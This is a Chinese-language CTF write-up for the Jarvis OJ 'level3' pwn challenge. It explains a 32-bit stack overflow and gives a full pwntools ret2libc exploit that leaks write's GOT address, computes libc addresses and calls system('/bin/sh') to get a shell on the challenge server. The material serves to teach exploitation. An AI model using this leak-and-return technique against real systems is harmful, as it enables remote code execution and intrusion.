题目信息

nc pwn2.jarvisoj.com 9879

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

level3.rar.2047525b05c499c9dd189ba212bba1f8

32位elf,开了Partial RELRO和NX,并且给出了libc文件

静态分析

IDA F5,首先看elf文件,明显的溢出,但程序中没有直接的system和”/bin/sh”

img
img
img
img

但给出的libc文件中有这两个

但因为有ASLR,libc只能获取到偏移地址,内存中真实地址未知,需要leak

这里可以利用程序本身存在的write函数,泄漏其自身地址,计算出其他所需地址

  • sys_addr - sys_libc == write_addr - write_libc

那么我们就可以构造溢出,首先通过write泄漏地址,之后返回到vuln函数中再次溢出执行system(“/bin/sh”)

流程大概如下,图源自网络

exploit

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

elf = ELF('./level3')
libc = ELF('./libc-2.19.so')

sh = remote('pwn2.jarvisoj.com', 9879)
# sh = process('./level3')
context.arch = 'i386'
# context.log_level = 'debug'

write_plt = elf.plt["write"]
write_got = elf.got["write"]
vuln_func = elf.symbols["vulnerable_function"]
write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_sh_libc = libc.search("/bin/sh").next()

payload1 = 'A' * 0x88 + 'BBBB'
# write(STDOUT,write_got,4)
# ret = vuln_func
payload1 += p32(write_plt)
payload1 += p32(vuln_func)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)

sh.recvuntil("Input:\n")
sh.sendline(payload1)

write_addr = u32(sh.recv(4))
libc_base = write_addr - write_libc
sys_addr = libc_base + sys_libc
bin_sh_addr = libc_base + bin_sh_libc

payload2 = 'A' * 0x88 + 'BBBB'
# system("bin/sh")
# ret = vuln_func
payload2 += p32(sys_addr)
payload2 += p32(vuln_func)
payload2 += p32(bin_sh_addr)

sh.sendline(payload2)
sh.interactive()

getflag